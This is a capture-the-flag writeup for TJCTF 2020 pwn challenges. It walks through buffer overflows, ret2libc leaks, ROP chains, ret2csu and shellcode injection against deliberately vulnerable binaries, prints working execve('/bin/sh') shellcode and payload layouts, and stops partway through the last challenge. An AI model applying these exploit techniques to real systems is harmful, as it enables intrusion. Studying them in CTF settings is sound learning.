TJCTF 2020 Pwn writeup
This is a quick walkthrough of my solutions for TJCTF 2020 pwn challenges. I will just elaborate some of the tricks that I learned while solving these challenges.
Board wipe >:) |
Tinder (25 points)
Challenge: Buffer overflow + control the value of $ebp-0xc
This challenge gives a binary that accepts four user inputs.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/tinder# ./tinder
Welcome to TJTinder, please register to start matching!
Name: 1
Username: 2
Password: 3
Tinder Bio: 4
Registered '2' to TJTinder successfully!
Searching for matches...
Sorry, no matches found. Try Again!
A quick checksec
reveals that the binary can be stack smashed.
gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/tinder/tinder'
Canary : No <----- No canary check
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
Disassembling the binary shows that we need to control $ebp-0xc
to print the flag.
gef➤ disas main
Dump of assembler code for function main:
------------ redacted -------------------------
0x0804884d <+96>: call 0x8048720 <input> <---- input #1
------------ redacted -------------------------
0x08048877 <+138>: call 0x8048720 <input> <---- input #2
------------ redacted -------------------------
0x080488a1 <+180>: call 0x8048720 <input> <---- input #3
------------ redacted -------------------------
0x080488cf <+226>: call 0x8048720 <input> <---- input #4 (overflow to control $ebp-0xc
------------ redacted -------------------------
0x080488e4 <+247>: cmp DWORD PTR [ebp-0xc],0xc0d3d00d <---- $ebp must be 0xc0d3d00d
0x080488eb <+254>: jne 0x80489a8 <main+443> <---- will jump to exit when $ebp-0xc is not 0xc0d3d00d
------------ redacted -------------------------
0x08048949 <+348>: call 0x8048570 <fopen@plt> <---- Will proceed to these fopen('flag.txt') + puts(flag str pointer)
0x0804894e <+353>: add esp,0x10
0x08048951 <+356>: mov DWORD PTR [ebp-0x10],eax
0x08048954 <+359>: cmp DWORD PTR [ebp-0x10],0x0
0x08048958 <+363>: jne 0x8048976 <main+393>
0x0804895a <+365>: sub esp,0xc
0x0804895d <+368>: lea eax,[ebx-0x1494]
0x08048963 <+374>: push eax
0x08048964 <+375>kkk: call 0x8048520 <puts`@plt> <---- prints the flag
0x08048969 <+380>: add esp,0x10
0x0804896c <+383>: sub esp,0xc
0x0804896f <+386>: push 0x0
0x08048971 <+388>: call 0x8048530 <exit@plt> <---- terminates the program
------------ redacted -------------------------
0x080489a8 <+443>: sub esp,0x8 <---- jump when $ebp-0xc is not equal to 0xc0d3d00d, will go to exit
------------ redacted -------------------------
End of assembler dump.
gef➤
We need to set $ebp-0xc
to 0xc0d3d00d
to make the binary read and print the contents of flag.txt
.
We can get the distance of where input 4
would be written and $ebp-0xc
by doing the following steps:
(1) set a breakpoint on input #4 (0x80488cf)
gef➤ b *0x080488cf
Breakpoint 4 at 0x80488cf: file match.c, line 54.
(2) get the address of the first argument for input()
→ 0x80488cf <main+226> call 0x8048720 <input>
↳ 0x8048720 <input+0> push ebp
0x8048721 <input+1> mov ebp, esp
0x8048723 <input+3> push ebx
0x8048724 <input+4> sub esp, 0x14
0x8048727 <input+7> call 0x8048610 <__x86.get_pc_thunk.bx>
0x804872c <input+12> add ebx, 0x18d4
input (
DWORD var_0 = 0xffffd008 → 0xf7ffd940 → 0x00000000,
float var_1 = 0x41000000
)
gef➤
The address is 0xffffd008
.
(3) set a breakpoint on cmp (0x80488e4)
gef➤ b *0x80488e4
Breakpoint 5 at 0x80488e4: file match.c, line 58.
(4) get the difference of $ebp-0xc
and the address from (2)
gef➤ p $ebp-0xc - 0xffffd008
$2 = (void *) 0x74
The difference is 0x74
or 116
.
The payload for 4th input will now look like this:
payload = <padding length 116> + 0xc0d3d00d
Sending this payload will give us the flag.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/tinder# python exploit.py
[+] Starting local process './tinder': pid 50267
[*] Switching to interactive mode
Registered 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���' to TJTinder successfully!
Searching for matches...
It's a match!
Here is your flag: tjctf{0v3rfl0w_0f_m4tch35}
Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/tinder/exploit.py
Seashells (50 points)
Challenge: Buffer overflow + ret2libc leak + rop-chain one_gadget
A quick check shows that the given binary is also vulnerable to buffer overflow, but it is not possible to inject a shellcode since the NX bit
is set.
gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/seashells/seashells'
Canary : No <---- stack smashable
NX : Yes <---- can't inject shellcode
PIE : No
Fortify : No
RelRO : Full
The binary asks for a user input. A quick fuzz gives us the offset we need to control the instruction pointer.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# pattern 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# gdb seashells -q
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/seashells/seashells
Welcome to Sally's Seashore Shell Shop
Would you like a shell?
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
why are you even here?
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400796 in main ()
------------ redacted -------------------------
gef➤ x/xg $rsp
0x7fffffffdef8: 0x6141376141366141
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# pattern 0x6141376141366141
Pattern 0x6141376141366141 first occurrence at position 18 in pattern.
We need a padding of 18 bytes
to control the program.
payload = <18 bytes padding> + <instruction pointer control>
Upon checking, there is a function that gives us a shell.
gef➤ disas shell
Dump of assembler code for function shell:
0x00000000004006c7 <+0>: push rbp
0x00000000004006c8 <+1>: mov rbp,rsp
0x00000000004006cb <+4>: sub rsp,0x10
0x00000000004006cf <+8>: mov QWORD PTR [rbp-0x8],rdi
0x00000000004006d3 <+12>: movabs rax,0xdeadcafebabebeef
0x00000000004006dd <+22>: cmp QWORD PTR [rbp-0x8],rax
0x00000000004006e1 <+26>: jne 0x4006ef <shell+40>
0x00000000004006e3 <+28>: lea rdi,[rip+0x13e] # 0x400828
0x00000000004006ea <+35>: call 0x4005c0 <system@plt>
0x00000000004006ef <+40>: nop
0x00000000004006f0 <+41>: leave
0x00000000004006f1 <+42>: ret
This function executes system('/bin/sh')
if 0xdeadcafebabebeef
is passed as an argument to shell()
. Unfortunately, it seems that there is an issue with system()
* which is why we cannot use this function.
- Note: system function might be broken on the libc used by the remote binary.
An alternative solution is by using ret2libc
attack to leak a libc address to determine the libc version used, and use one_gadget
or execve()
to spawn a shell.
To leak a libc address from the remote binary, we can print any GOT address (this address points to a libc address). Our stage 1 payload should look like this.
payload = ""
payload += "A"*18 # padding
payload += p64(pop_rdi) # control first argument
payload += p64(puts_got) # GOT address of puts (to leak printf libc address)
payload += p64(puts_plt) # will execute puts(&printf_got)
payload += p64(main_plt) # jump back to main (for stage 2 payload)
Executing this payload will look like this (This is just an example, was not able to do a writeup when the remote servers are still up :( ).
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# python exploit.py
[+] Starting local process './seashells': pid 52173
[*] puts leak: 0x7ffff7e585d0
The address can be used to determine the libc version used by the remote server. LIBC Database can be used to get the version of the libc.
Once the LIBC base
and other libc function addresses are determined, we can now create our stage 2 payload.
libc_base = puts_leak - puts_offset
payload = ""
payload += "A"*18 # padding
payload += p64(libc_base + one_gadget_offset)# one_gadget
I used one_gadget
to execute a shell.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/seashells# one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ) <---- this offset worked
constraints:
[rsp+0x70] == NULL
Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/seashells/exploit.py
OSRS (50 points)
Challenge: Buffer overflow + jump to shellcode
A quick check shows that the given binary is also vulnerable to buffer overflow, and it is possible to inject a shellcode since the NX bit
is not set.
gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/osrs/osrs'
Canary : No
NX : No
PIE : No
Fortify : No
RelRO : No
The binary asks for one input, and prints a string before it terminates the program.
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/osrs/osrs
Enter a tree type:
test
I don't have the tree -12436 :(
Upon inspection, the main function only calls one function - get_tree()
, and terminates the program if the returned value of get_tree()
is less than or equal to zero.
gef➤ disas main
Dump of assembler code for function main:
------------ redacted -------------------------
0x08048612 <+74>: call 0x8048546 <get_tree> <--- get_tree()
0x08048617 <+79>: mov DWORD PTR [ebp-0xc],eax
0x0804861a <+82>: cmp DWORD PTR [ebp-0xc],0x0 <--- checks if get_tree returns >0
0x0804861e <+86>: jle 0x8048636 <main+110> <--- jumps to the end of the program if get_tree() <= 0
------------ redacted -------------------------
0x08048636 <+110>: mov eax,0x0
0x0804863b <+115>: mov ecx,DWORD PTR [ebp-0x4]
0x0804863e <+118>: leave
0x0804863f <+119>: lea esp,[ecx-0x4]
0x08048642 <+122>: ret
Let’s inspect the get_tree
function.
gef➤ disas get_tree
Dump of assembler code for function get_tree:
------------ redacted -------------------------
0x08048557 <+17>: call 0x80483f0 <puts@plt> <--- prints the first banner
------------ redacted -------------------------
0x08048569 <+35>: call 0x80483e0 <gets@plt> <--- asks for user input (vulnerable to buffer overflow)
------------ redacted -------------------------
0x0804858f <+73>: call 0x8048410 <strcasecmp@plt> <--- checks if the input is equal to an expected string
------------ redacted -------------------------
0x080485a8 <+98>: jle 0x804857a <get_tree+52> <--- jumps back to get_tree+52 to do aonther comparison (until the list of strings are exhausted)
------------ redacted -------------------------
0x080485b9 <+115>: call 0x80483d0 <printf@plt> <--- prints the last bannner with negative number
------------ redacted -------------------------
Upon inpsecting the printf
call, it seems that the negative number is the location of our input string.
→ 0x80485b9 <get_tree+115> call 0x80483d0 <printf@plt>
↳ 0x80483d0 <printf@plt+0> jmp DWORD PTR ds:0x8049e78
0x80483d6 <printf@plt+6> push 0x8
0x80483db <printf@plt+11> jmp 0x80483b0
0x80483e0 <gets@plt+0> jmp DWORD PTR ds:0x8049e7c
0x80483e6 <gets@plt+6> push 0x10
0x80483eb <gets@plt+11> jmp 0x80483b0
printf@plt (
[sp + 0x0] = 0x08048bfc → "I don't have the tree %d :(",
[sp + 0x4] = 0xffffcf6c → "test",
[sp + 0x8] = 0xf7fce410 → 0x080482df → "GLIBC_2.0",
[sp + 0xc] = 0x00000001,
[sp + 0x10] = 0x00000000
)
The function asks for a user input, and the input is being checked if it matches one of the strings in the list. The program prints another string that leaks the location of our input.
Since the NX bit is not set, a shellcode can be executed in this binary. We can inject a shellcode and jump to its location using the leak. But before doing this, we need to jump back to get_tree
since the program terminates after the leak.
Let’s get the offset to control the instruction pointer.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/osrs# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/osrs/osrs
Enter a tree type:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
I don't have the tree -12436 :(
Program received signal SIGSEGV, Segmentation fault.
0x316a4130 in ?? ()
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/osrs# pattern 0x316a4130
Pattern 0x316a4130 first occurrence at position 272 in pattern.
The offset is 272
. Let’s now create our exploit.
Our payload should look like this.
# control instruction pointer
payload = ""
payload += "A"*272 #offset
payload += p32(0x8048546) # jump back to get_tree
# get the leak from the first run
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
# stage 2 payload
payload = ""
payload += shellcode
payload += "\x90" * (272-len(shellcode))
payload += p32(leak)
Executing the payload will look like this.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/osrs# python test.py
[+] Starting local process './osrs': pid 5228
[*] Leaked address: 0xfff7994c
[*] Switching to interactive mode
I don't have the tree -550576 :(
$ ls
exploit.py flag.txt osrs test.py
$ cat flag.txt
tjctf{tr33_c0de_in_my_she115}
Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/osrs/exploit.py
El Primo (60 points)
Challenge: Buffer overflow + jump to shellcode pointer
A quick check shows that the given binary is also vulnerable to buffer overflow, and it is possible to inject a shellcode since the NX bit
is not set.
gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo'
Canary : No
NX : No
PIE : Yes
Fortify : No
RelRO : Full
The binary leaks an address, and terminates after receiving an input.
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo
What's my hard counter?
hint: 0xffffd060
test
[Inferior 1 (process 5455) exited normally]
Upon inspection, the leaked address is the location of our input string.
gef➤ disas main
Dump of assembler code for function main:
------------ redacted -------------------------
0x56555681 <+116>: lea eax,[ebp-0x28] <--- leaked address
0x56555684 <+119>: push eax
0x56555685 <+120>: lea eax,[ebx-0x1868]
0x5655568b <+126>: push eax
0x5655568c <+127>: call 0x56555480 <printf@plt>
0x56555691 <+132>: add esp,0x10
0x56555694 <+135>: sub esp,0xc
0x56555697 <+138>: lea eax,[ebp-0x28] <--- same address used by the gets function
0x5655569a <+141>: push eax
0x5655569b <+142>: call 0x56555490 <gets@plt>
0x565556a0 <+147>: add esp,0x10
0x565556a3 <+150>: mov eax,0x0
0x565556a8 <+155>: lea esp,[ebp-0x8]
0x565556ab <+158>: pop ecx
0x565556ac <+159>: pop ebx
0x565556ad <+160>: pop ebp
0x565556ae <+161>: lea esp,[ecx-0x4]
0x565556b1 <+164>: ret
End of assembler dump.
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo
What's my hard counter?
hint: 0xffffd060
test
Breakpoint 1, 0x565556a0 in main ()
gef➤ x/xs 0xffffd060
0xffffd060: "test"
We can use the same technique by injecting a shellcode and jumping to its location.
Let’s now create our payload. First, let’s get the offset to control the instruction pointer.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/el_primo# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/el_primo/el_primo
What's my hard counter?
hint: 0xffffd060
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Program received signal SIGSEGV, Segmentation fault.
0x565556b1 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x41326241 ("Ab2A"?)
$ecx : 0x31624130 ("0Ab1"?)
$edx : 0xffffd254 → 0x00000000
$esp : 0x3162412c (",Ab1"?)
$ebp : 0x62413362 ("b3Ab"?)
$esi : 0xf7fa2000 → 0x001dfd6c
$edi : 0xf7fa2000 → 0x001dfd6c
$eip : 0x565556b1 → <main+164> ret
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x565556a7 <main+154> add BYTE PTR [ebp+0x5b59f865], cl
0x565556ad <main+160> pop ebp
0x565556ae <main+161> lea esp, [ecx-0x4]
0x565556b1 <main+164>: ret
This is a bit different, the contents where ecx-0x4
points (due to lea - load effective) is written to esp
(not the value of ecx itself) and the program jumps to esp
after executing ret
instruction.
Our input is written to ecx
, so in order to jump to the leaked address, we need to add 0x4
to ecx
to align the address, and the leaked address should contain the pointer to our shellcode.
The offset is to control the instruction pointer is 32
.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/el_primo# pattern 0x31624130
Pattern 0x31624130 first occurrence at position 32 in pattern.
Our payload should look like this.
payload = ""
payload += p32(leak + 0x4) # point to our shellcode, +4 bytes from the leak
payload += shellcode
payload += "\x90" * (32 - len(payload)) # padding to control IP
payload += p32(leak+4) # leak + 0x4 due to ecx-0x4
Executing the payload will look like this.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/el_primo# python test.py
[+] Starting local process './el_primo': pid 5823
[*] Leaked stack: 0xffe46da0
[*] Switching to interactive mode
$ ls
core el_primo exploit.py flag.txt test.py
$ cat flag.txt
tjctf{3L_PR1M0O0OOO!1!!}
Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/el_primo/exploit.py
Stop (70 points)
Challenge: Buffer overflow + ret2csu (control rdx) + set rax trick (used read syscall) + execve syscall
Again, this challenge is vulnerable to buffer overflow, but it is not possible to inject a shellcode since the NX bit
is set.
gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/stop/stop'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Full
The binary asks for two user inputs.
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/stop/stop
Which letter? a
Country Capitals
Electronics and Gadgets
Sports
Things You Keep Hidden
Top Broadway Shows
Category? test
Sorry, we don't have that category yet
A quick fuzz shows us the offset to control the instruction pointer.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/stop/stop
Which letter? Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Country Capitals
Electronics and Gadgets
Sports
Things You Keep Hidden
Top Broadway Shows
Category?
Sorry, we don't have that category yet
Program received signal SIGSEGV, Segmentation fault.
0x00000000004008d1 in main ()
gef➤ x/xg $rsp
0x7fffffffdee8: 0x6a41356a41346a41
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# pattern 0x6a41356a41346a41
Pattern 0x6a41356a41346a41 first occurrence at position 282 in pattern.
We can control the instruction pointer by sending a payload with a length of 282
.
Upon inpsection, we cannnot use any built-in function to do a ret2libc attack.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000400558 _init
0x0000000000400580 strcasecmp@plt
0x0000000000400590 setbuf@plt
0x00000000004005a0 printf@plt
0x00000000004005b0 getchar@plt
0x00000000004005c0 _start
0x00000000004005f0 _dl_relocate_static_pie
0x0000000000400600 deregister_tm_clones
0x0000000000400630 register_tm_clones
0x0000000000400670 __do_global_dtors_aux
0x00000000004006a0 frame_dummy
0x00000000004006a7 get_letter
0x00000000004006e6 get_category
0x000000000040073c main
0x00000000004008e0 read
0x00000000004008f0 __libc_csu_init
0x0000000000400960 __libc_csu_fini
0x0000000000400964 _fini
We can check some useful gadgets using ROPgadget
.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# ROPgadget --binary stop | grep -E "syscall|pop rdi|pop rsi|pop rax|pop rdx"
0x00000000004008e1 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004008e3 : add byte ptr [rax], al ; syscall
0x00000000004008df : add byte ptr [rax], bh ; syscall
0x00000000004008de : add byte ptr [rax], dil ; syscall
0x00000000004008e0 : mov eax, 0 ; syscall
0x00000000004008dc : nop dword ptr [rax] ; mov eax, 0 ; syscall
0x0000000000400953 : pop rdi ; ret
0x0000000000400951 : pop rsi ; pop r15 ; ret
0x00000000004008e5 : syscall
We can call execve(‘/bin/sh’) by using syscall. We also need the string /bin/sh
.
Luckily, we can find the string inside the binary.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# r2 -c iz -q stop | grep /bin/sh
012 0x00000a1a 0x00400a1a 7 8 (.rodata) ascii /bin/sh
To call execve using syscall, we need to setup the registers as follows:
$rax = 0x3b
$rdi = address of /bin/sh
$rsi = 0
$rdx = 0
Our main challenge here is that we do not have any gadgets for controlling rax
and rdx
.
To control rax, we can use the read
built-in function (0x00000000004008e0 read).
From the man page.
RETURN VALUE
On success, the number of bytes read is returned (zero indicates end of file), and the file position is advanced by this number.
Our next problem is to setup the value of rdx
, since we need to set the registers to execute read(fd,address,length)
and overwrite rax
with 0x3b
.
We can use https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf technique to control the rdx.
TL;DR, we can use the built-in function __libc_csu_init
to control the value of rdx
by setting the value of r15
.
gef➤ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x00000000004008f0 <+0>: push r15
0x00000000004008f2 <+2>: push r14
0x00000000004008f4 <+4>: mov r15,rdx
0x00000000004008f7 <+7>: push r13
0x00000000004008f9 <+9>: push r12
0x00000000004008fb <+11>: lea r12,[rip+0x2014b6] # 0x601db8
0x0000000000400902 <+18>: push rbp
0x0000000000400903 <+19>: lea rbp,[rip+0x2014b6] # 0x601dc0
0x000000000040090a <+26>: push rbx
0x000000000040090b <+27>: mov r13d,edi
0x000000000040090e <+30>: mov r14,rsi
0x0000000000400911 <+33>: sub rbp,r12
0x0000000000400914 <+36>: sub rsp,0x8
0x0000000000400918 <+40>: sar rbp,0x3
0x000000000040091c <+44>: call 0x400558 <_init>
0x0000000000400921 <+49>: test rbp,rbp
0x0000000000400924 <+52>: je 0x400946 <__libc_csu_init+86>
0x0000000000400926 <+54>: xor ebx,ebx
0x0000000000400928 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400930 <+64>: mov rdx,r15 <------------- r15 overwrites rdx
0x0000000000400933 <+67>: mov rsi,r14
0x0000000000400936 <+70>: mov edi,r13d
0x0000000000400939 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040093d <+77>: add rbx,0x1
0x0000000000400941 <+81>: cmp rbp,rbx
0x0000000000400944 <+84>: jne 0x400930 <__libc_csu_init+64>
0x0000000000400946 <+86>: add rsp,0x8
0x000000000040094a <+90>: pop rbx
0x000000000040094b <+91>: pop rbp
0x000000000040094c <+92>: pop r12
